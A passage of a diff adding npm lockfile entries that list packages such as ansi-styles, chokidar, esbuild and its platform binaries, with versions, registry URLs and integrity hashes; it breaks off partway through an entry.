"https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "requires": { + "color-convert": "^1.9.0" + } + }, + "any-promise": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/any-promise/-/any-promise-1.3.0.tgz", + "integrity": "sha512-7UvmKalWRt1wgjL1RrGxoSJW/0QZFIegpeGvZG9kjp8vrRu55XTHbwnqq2GpXm9uLbcuhxm3IqX9OB4MZR1b2A==", + "dev": true + }, + "anymatch": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz", + "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==", + "dev": true, + "requires": { + "normalize-path": "^3.0.0", + "picomatch": "^2.0.4" + } + }, + "arg": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/arg/-/arg-5.0.2.tgz", + "integrity": "sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg==", + "dev": true + }, + "aria-hidden": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/aria-hidden/-/aria-hidden-1.2.3.tgz", + "integrity": "sha512-xcLxITLe2HYa1cnYnwCjkOO1PqUHQpozB8x9AR0OgWN2woOBi5kSDVxKfd0b7sb1hw5qFeJhXm9H1nu3xSfLeQ==", + "requires": { + "tslib": "^2.0.0" + } + }, + "babel-plugin-macros": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/babel-plugin-macros/-/babel-plugin-macros-3.1.0.tgz", + "integrity": "sha512-Cg7TFGpIr01vOQNODXOOaGz2NpCU5gl8x1qJFbb6hbZxR7XrcE2vtbAsTAbJ7/xwJtUuJEw8K8Zr/AE0LHlesg==", + "requires": { + "@babel/runtime": "^7.12.5", + "cosmiconfig": "^7.0.0", + "resolve": "^1.19.0" + } + }, + "balanced-match": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", + "dev": true + }, + "binary-extensions": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz", + "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==", + "dev": true + }, + "brace-expansion": { + "version": "1.1.11", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", + "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", + "dev": true, + "requires": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "braces": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", + "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "dev": true, + "requires": { + "fill-range": "^7.0.1" + } + }, + "browserslist": { + "version": "4.21.4", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.21.4.tgz", + "integrity": "sha512-CBHJJdDmgjl3daYjN5Cp5kbTf1mUhZoS+beLklHIvkOWscs83YAhLlF3Wsh/lciQYAcbBJgTOD44VtG31ZM4Hw==", + "requires": { + "caniuse-lite": "^1.0.30001400", + "electron-to-chromium": "^1.4.251", + "node-releases": "^2.0.6", + "update-browserslist-db": "^1.0.9" + } + }, + "callsites": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz", + "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==" + }, + "camelcase-css": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/camelcase-css/-/camelcase-css-2.0.1.tgz", + "integrity": "sha512-QOSvevhslijgYwRx6Rv7zKdMF8lbRmx+uQGx2+vDc+KI/eBnsy9kit5aj23AgGu3pa4t9AgwbnXWqS+iOY+2aA==", + "dev": true + }, + "caniuse-lite": { + "version": "1.0.30001418", + "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001418.tgz", + "integrity": "sha512-oIs7+JL3K9JRQ3jPZjlH6qyYDp+nBTCais7hjh0s+fuBwufc7uZ7hPYMXrDOJhV360KGMTcczMRObk0/iMqZRg==" + }, + "chalk": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", + "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", + "requires": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + } + }, + "chokidar": { + "version": "3.5.3", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.3.tgz", + "integrity": "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw==", + "dev": true, + "requires": { + "anymatch": "~3.1.2", + "braces": "~3.0.2", + "fsevents": "~2.3.2", + "glob-parent": "~5.1.2", + "is-binary-path": "~2.1.0", + "is-glob": "~4.0.1", + "normalize-path": "~3.0.0", + "readdirp": "~3.6.0" + }, + "dependencies": { + "glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, + "requires": { + "is-glob": "^4.0.1" + } + } + } + }, + "clsx": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/clsx/-/clsx-1.1.1.tgz", + "integrity": "sha512-6/bPho624p3S2pMyvP5kKBPXnI3ufHLObBFCfgx+LkeR5lg2XYy2hqZqUf45ypD8COn2bhgGJSUE+l5dhNBieA==" + }, + "color-convert": { + "version": "1.9.3", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", + "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", + "requires": { + "color-name": "1.1.3" + } + }, + "color-name": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", + "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==" + }, + "commander": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/commander/-/commander-4.1.1.tgz", + "integrity": "sha512-NOKm8xhkzAjzFx8B2v5OAHT+u5pRQc2UCa2Vq9jYL/31o2wi9mxBA7LIFs3sV5VSC49z6pEhfbMULvShKj26WA==", + "dev": true + }, + "concat-map": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", + "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==", + "dev": true + }, + "convert-source-map": { + "version": "1.8.0", + "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.8.0.tgz", + "integrity": "sha512-+OQdjP49zViI/6i7nIJpA8rAl4sV/JdPfU9nZs3VqOwGIgizICvuN2ru6fMd+4llL0tar18UYJXfZ/TWtmhUjA==", + "requires": { + "safe-buffer": "~5.1.1" + } + }, + "cosmiconfig": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-7.1.0.tgz", + "integrity": "sha512-AdmX6xUzdNASswsFtmwSt7Vj8po9IuqXm0UXz7QKPuEUmPB4XyjGfaAr2PSuELMwkRMVH1EpIkX5bTZGRB3eCA==", + "requires": { + "@types/parse-json": "^4.0.0", + "import-fresh": "^3.2.1", + "parse-json": "^5.0.0", + "path-type": "^4.0.0", + "yaml": "^1.10.0" + } + }, + "countup.js": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/countup.js/-/countup.js-2.5.0.tgz", + "integrity": "sha512-/59H8Q6wzu6VfHeqGUgXoyh6kgboGr5mALmRKi8YA11DlcaXSnT1PZG6mTyBRLco4ZjExKlmfNHeMbQgZvis9Q==" + }, + "cssesc": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-3.0.0.tgz", + "integrity": "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==", + "dev": true + }, + "csstype": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.1.1.tgz", + "integrity": "sha512-DJR/VvkAvSZW9bTouZue2sSxDwdTN92uHjqeKVm+0dAqdfNykRzQ95tay8aXMBAAPpUiq4Qcug2L7neoRh2Egw==" + }, + "debug": { + "version": "4.3.4", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz", + "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", + "requires": { + "ms": "2.1.2" + } + }, + "detect-node-es": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/detect-node-es/-/detect-node-es-1.1.0.tgz", + "integrity": "sha512-ypdmJU/TbBby2Dxibuv7ZLW3Bs1QEmM7nHjEANfohJLvE0XVujisn1qPJcZxg+qDucsr+bP6fLD1rPS3AhJ7EQ==" + }, + "didyoumean": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/didyoumean/-/didyoumean-1.2.2.tgz", + "integrity": "sha512-gxtyfqMg7GKyhQmb056K7M3xszy/myH8w+B4RT+QXBQsvAOdc3XymqDDPHx1BgPgsdAA5SIifona89YtRATDzw==", + "dev": true + }, + "dlv": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/dlv/-/dlv-1.1.3.tgz", + "integrity": "sha512-+HlytyjlPKnIG8XuRG8WvmBP8xs8P71y+SKKS6ZXWoEgLuePxtDoUEiH7WkdePWrQ5JBpE6aoVqfZfJUQkjXwA==", + "dev": true + }, + "electron-to-chromium": { + "version": "1.4.276", + "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.4.276.tgz", + "integrity": "sha512-EpuHPqu8YhonqLBXHoU6hDJCD98FCe6KDoet3/gY1qsQ6usjJoHqBH2YIVs8FXaAtHwVL8Uqa/fsYao/vq9VWQ==" + }, + "error-ex": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.2.tgz", + "integrity": "sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==", + "requires": { + "is-arrayish": "^0.2.1" + } + }, + "esbuild": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.15.10.tgz", + "integrity": "sha512-N7wBhfJ/E5fzn/SpNgX+oW2RLRjwaL8Y0ezqNqhjD6w0H2p0rDuEz2FKZqpqLnO8DCaWumKe8dsC/ljvVSSxng==", + "dev": true, + "requires": { + "@esbuild/android-arm": "0.15.10", + "@esbuild/linux-loong64": "0.15.10", + "esbuild-android-64": "0.15.10", + "esbuild-android-arm64": "0.15.10", + "esbuild-darwin-64": "0.15.10", + "esbuild-darwin-arm64": "0.15.10", + "esbuild-freebsd-64": "0.15.10", + "esbuild-freebsd-arm64": "0.15.10", + "esbuild-linux-32": "0.15.10", + "esbuild-linux-64": "0.15.10", + "esbuild-linux-arm": "0.15.10", + "esbuild-linux-arm64": "0.15.10", + "esbuild-linux-mips64le": "0.15.10", + "esbuild-linux-ppc64le": "0.15.10", + "esbuild-linux-riscv64": "0.15.10", + "esbuild-linux-s390x": "0.15.10", + "esbuild-netbsd-64": "0.15.10", + "esbuild-openbsd-64": "0.15.10", + "esbuild-sunos-64": "0.15.10", + "esbuild-windows-32": "0.15.10", + "esbuild-windows-64": "0.15.10", + "esbuild-windows-arm64": "0.15.10" + } + }, + "esbuild-android-64": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-android-64/-/esbuild-android-64-0.15.10.tgz", + "integrity": "sha512-UI7krF8OYO1N7JYTgLT9ML5j4+45ra3amLZKx7LO3lmLt1Ibn8t3aZbX5Pu4BjWiqDuJ3m/hsvhPhK/5Y/YpnA==", + "dev": true, + "optional": true + }, + "esbuild-android-arm64": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-android-arm64/-/esbuild-android-arm64-0.15.10.tgz", + "integrity": "sha512-EOt55D6xBk5O05AK8brXUbZmoFj4chM8u3riGflLa6ziEoVvNjRdD7Cnp82NHQGfSHgYR06XsPI8/sMuA/cUwg==", + "dev": true, + "optional": true + }, + "esbuild-darwin-64": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-darwin-64/-/esbuild-darwin-64-0.15.10.tgz", + "integrity": "sha512-hbDJugTicqIm+WKZgp208d7FcXcaK8j2c0l+fqSJ3d2AzQAfjEYDRM3Z2oMeqSJ9uFxyj/muSACLdix7oTstRA==", + "dev": true, + "optional": true + }, + "esbuild-darwin-arm64": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-darwin-arm64/-/esbuild-darwin-arm64-0.15.10.tgz", + "integrity": "sha512-M1t5+Kj4IgSbYmunf2BB6EKLkWUq+XlqaFRiGOk8bmBapu9bCDrxjf4kUnWn59Dka3I27EiuHBKd1rSO4osLFQ==", + "dev": true, + "optional": true + }, + "esbuild-freebsd-64": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-freebsd-64/-/esbuild-freebsd-64-0.15.10.tgz", + "integrity": "sha512-KMBFMa7C8oc97nqDdoZwtDBX7gfpolkk6Bcmj6YFMrtCMVgoU/x2DI1p74DmYl7CSS6Ppa3xgemrLrr5IjIn0w==", + "dev": true, + "optional": true + }, + "esbuild-freebsd-arm64": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-freebsd-arm64/-/esbuild-freebsd-arm64-0.15.10.tgz", + "integrity": "sha512-m2KNbuCX13yQqLlbSojFMHpewbn8wW5uDS6DxRpmaZKzyq8Dbsku6hHvh2U+BcLwWY4mpgXzFUoENEf7IcioGg==", + "dev": true, + "optional": true + }, + "esbuild-linux-32": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-linux-32/-/esbuild-linux-32-0.15.10.tgz", + "integrity": "sha512-guXrwSYFAvNkuQ39FNeV4sNkNms1bLlA5vF1H0cazZBOLdLFIny6BhT+TUbK/hdByMQhtWQ5jI9VAmPKbVPu1w==", + "dev": true, + "optional": true + }, + "esbuild-linux-64": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-linux-64/-/esbuild-linux-64-0.15.10.tgz", + "integrity": "sha512-jd8XfaSJeucMpD63YNMO1JCrdJhckHWcMv6O233bL4l6ogQKQOxBYSRP/XLWP+6kVTu0obXovuckJDcA0DKtQA==", + "dev": true, + "optional": true + }, + "esbuild-linux-arm": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-linux-arm/-/esbuild-linux-arm-0.15.10.tgz", + "integrity": "sha512-6N8vThLL/Lysy9y4Ex8XoLQAlbZKUyExCWyayGi2KgTBelKpPgj6RZnUaKri0dHNPGgReJriKVU6+KDGQwn10A==", + "dev": true, + "optional": true + }, + "esbuild-linux-arm64": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-linux-arm64/-/esbuild-linux-arm64-0.15.10.tgz", + "integrity": "sha512-GByBi4fgkvZFTHFDYNftu1DQ1GzR23jws0oWyCfhnI7eMOe+wgwWrc78dbNk709Ivdr/evefm2PJiUBMiusS1A==", + "dev": true, + "optional": true + }, + "esbuild-linux-mips64le": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-linux-mips64le/-/esbuild-linux-mips64le-0.15.10.tgz", + "integrity": "sha512-BxP+LbaGVGIdQNJUNF7qpYjEGWb0YyHVSKqYKrn+pTwH/SiHUxFyJYSP3pqkku61olQiSBnSmWZ+YUpj78Tw7Q==", + "dev": true, + "optional": true + }, + "esbuild-linux-ppc64le": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-linux-ppc64le/-/esbuild-linux-ppc64le-0.15.10.tgz", + "integrity": "sha512-LoSQCd6498PmninNgqd/BR7z3Bsk/mabImBWuQ4wQgmQEeanzWd5BQU2aNi9mBURCLgyheuZS6Xhrw5luw3OkQ==", + "dev": true, + "optional": true + }, + "esbuild-linux-riscv64": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-linux-riscv64/-/esbuild-linux-riscv64-0.15.10.tgz", + "integrity": "sha512-Lrl9Cr2YROvPV4wmZ1/g48httE8z/5SCiXIyebiB5N8VT7pX3t6meI7TQVHw/wQpqP/AF4SksDuFImPTM7Z32Q==", + "dev": true, + "optional": true + }, + "esbuild-linux-s390x": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-linux-s390x/-/esbuild-linux-s390x-0.15.10.tgz", + "integrity": "sha512-ReP+6q3eLVVP2lpRrvl5EodKX7EZ1bS1/z5j6hsluAlZP5aHhk6ghT6Cq3IANvvDdscMMCB4QEbI+AjtvoOFpA==", + "dev": true, + "optional": true + }, + "esbuild-netbsd-64": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-netbsd-64/-/esbuild-netbsd-64-0.15.10.tgz", + "integrity": "sha512-iGDYtJCMCqldMskQ4eIV+QSS/CuT7xyy9i2/FjpKvxAuCzrESZXiA1L64YNj6/afuzfBe9i8m/uDkFHy257hTw==", + "dev": true, + "optional": true + }, + "esbuild-openbsd-64": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-openbsd-64/-/esbuild-openbsd-64-0.15.10.tgz", + "integrity": "sha512-ftMMIwHWrnrYnvuJQRJs/Smlcb28F9ICGde/P3FUTCgDDM0N7WA0o9uOR38f5Xe2/OhNCgkjNeb7QeaE3cyWkQ==", + "dev": true, + "optional": true + }, + "esbuild-sunos-64": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-sunos-64/-/esbuild-sunos-64-0.15.10.tgz", + "integrity": "sha512-mf7hBL9Uo2gcy2r3rUFMjVpTaGpFJJE5QTDDqUFf1632FxteYANffDZmKbqX0PfeQ2XjUDE604IcE7OJeoHiyg==", + "dev": true, + "optional": true + }, + "esbuild-windows-32": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-windows-32/-/esbuild-windows-32-0.15.10.tgz", + "integrity": "sha512-ttFVo+Cg8b5+qHmZHbEc8Vl17kCleHhLzgT8X04y8zudEApo0PxPg9Mz8Z2cKH1bCYlve1XL8LkyXGFjtUYeGg==", + "dev": true, + "optional": true + }, + "esbuild-windows-64": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-windows-64/-/esbuild-windows-64-0.15.10.tgz", + "integrity": "sha512-2H0gdsyHi5x+8lbng3hLbxDWR7mKHWh5BXZGKVG830KUmXOOWFE2YKJ4tHRkejRduOGDrBvHBriYsGtmTv3ntA==", + "dev": true, + "optional": true + }, + "esbuild-windows-arm64": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-windows-arm64/-/esbuild-windows-arm64-0.15.10.tgz", + "integrity": "sha512-S+th4F+F8VLsHLR0zrUcG+Et4hx0RKgK1eyHc08kztmLOES8BWwMiaGdoW9hiXuzznXQ0I/Fg904MNbr11Nktw==", + "dev": true, + "optional": true + }, + "escalade": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.1.tgz", + "integrity": "sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==" + }, + "escape-string-regexp": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", + "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==" + }, + "estree-walker": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-2.0.2.tgz", + "integrity": "sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w==" + }, + "fast-glob": { + "version": "3.3.2", + "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.3.2.tgz", + "integrity": "sha512-oX2ruAFQwf/Orj8m737Y5adxDQO0LAB7/S5MnxCdTNDd4p6BsyIVsv9JQsATbTSq8KHRpLwIHbVlUNatxd+1Ow==", + "dev": true, + "requires": { + "@nodelib/fs.stat": "^2.0.2", + "@nodelib/fs.walk": "^1.2.3", + "glob-parent": "^5.1.2", + "merge2": "^1.3.0", + "micromatch": "^4.0.4" + }, + "dependencies": { + "glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, + "requires": { + "is-glob": "^4.0.1" + } + } + } + }, + "fastq": { + "version": "1.15.0", + "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.15.0.tgz", + "integrity": "sha512-wBrocU2LCXXa+lWBt8RoIRD89Fi8OdABODa/kEnyeyjS5aZO5/GNvI5sEINADqP/h8M29UHTHUb53sUu5Ihqdw==", + "dev": true, + "requires": { + "reusify": "^1.0.4" + } + }, + "fill-range": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", + "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "dev": true, + "requires": { + "to-regex-range": "^5.0.1" + } + }, + "find-root": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/find-root/-/find-root-1.1.0.tgz", + "integrity": "sha512-NKfW6bec6GfKc0SGx1e07QZY9PE99u0Bft/0rzSD5k3sO/vwkVUpDUKVm5Gpp5Ue3YfShPFTX2070tDs5kB9Ng==" + }, + "fs.realpath": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", + "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==", + "dev": true + }, + "fsevents": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz", + "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==", + "dev": true, + "optional": true + }, + "function-bind": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", + "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==" + }, + "gensync": { + "version": "1.0.0-beta.2", + "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz", + "integrity": "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==" + }, + "get-nonce": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/get-nonce/-/get-nonce-1.0.1.tgz", + "integrity": "sha512-FJhYRoDaiatfEkUK8HKlicmu/3SGFD51q3itKDGoSTysQJBnfOcxU5GxnhE1E6soB76MbT0MBtnKJuXyAx+96Q==" + }, + "glob": { + "version": "7.1.6", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.6.tgz", + "integrity": "sha512-LwaxwyZ72Lk7vZINtNNrywX0ZuLyStrdDtabefZKAY5ZGJhVtgdznluResxNmPitE0SAO+O26sWTHeKSI2wMBA==", + "dev": true, + "requires": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + } + }, + "glob-parent": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz", + "integrity": "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==", + "dev": true, + "requires": { + "is-glob": "^4.0.3" + } + }, + "globals": { + "version": "11.12.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-11.12.0.tgz", + "integrity": "sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==" + }, + "has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==" + }, + "hasown": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.0.tgz", + "integrity": "sha512-vUptKVTpIJhcczKBbgnS+RtcuYMB8+oNzPK2/Hp3hanz8JmpATdmmgLgSaadVREkDm+e2giHwY3ZRkyjSIDDFA==", + "requires": { + "function-bind": "^1.1.2" + } + }, + "hoist-non-react-statics": { + "version": "3.3.2", + "resolved": "https://registry.npmjs.org/hoist-non-react-statics/-/hoist-non-react-statics-3.3.2.tgz", + "integrity": "sha512-/gGivxi8JPKWNm/W0jSmzcMPpfpPLc3dY/6GxhX2hQ9iGj3aDfklV4ET7NjKpSinLpJ5vafa9iiGIEZg10SfBw==", + "requires": { + "react-is": "^16.7.0" + } + }, + "import-fresh": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.3.0.tgz", + "integrity": "sha512-veYYhQa+D1QBKznvhUHxb8faxlrwUnxseDAbAp457E0wLNio2bOSKnjYDhMj+YiAq61xrMGhQk9iXVk5FzgQMw==", + "requires": { + "parent-module": "^1.0.0", + "resolve-from": "^4.0.0" + } + }, + "inflight": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", + "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==", + "dev": true, + "requires": { + "once": "^1.3.0", + "wrappy": "1" + } + }, + "inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", + "dev": true + }, + "invariant": { + "version": "2.2.4", + "resolved": "https://registry.npmjs.org/invariant/-/invariant-2.2.4.tgz", + "integrity": "sha512-phJfQVBuaJM5raOpJjSfkiD6BpbCE4Ns//LaXl6wGYtUBY83nWS6Rf9tXm2e8VaK60JEjYldbPif/A2B1C2gNA==", + "requires": { + "loose-envify": "^1.0.0" + } + }, + "is-arrayish": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz", + "integrity": "sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg==" + }, + "is-binary-path": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz", + "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", + "dev": true, + "requires": { + "binary-extensions": "^2.0.0" + } + }, + "is-core-module": { + "version": 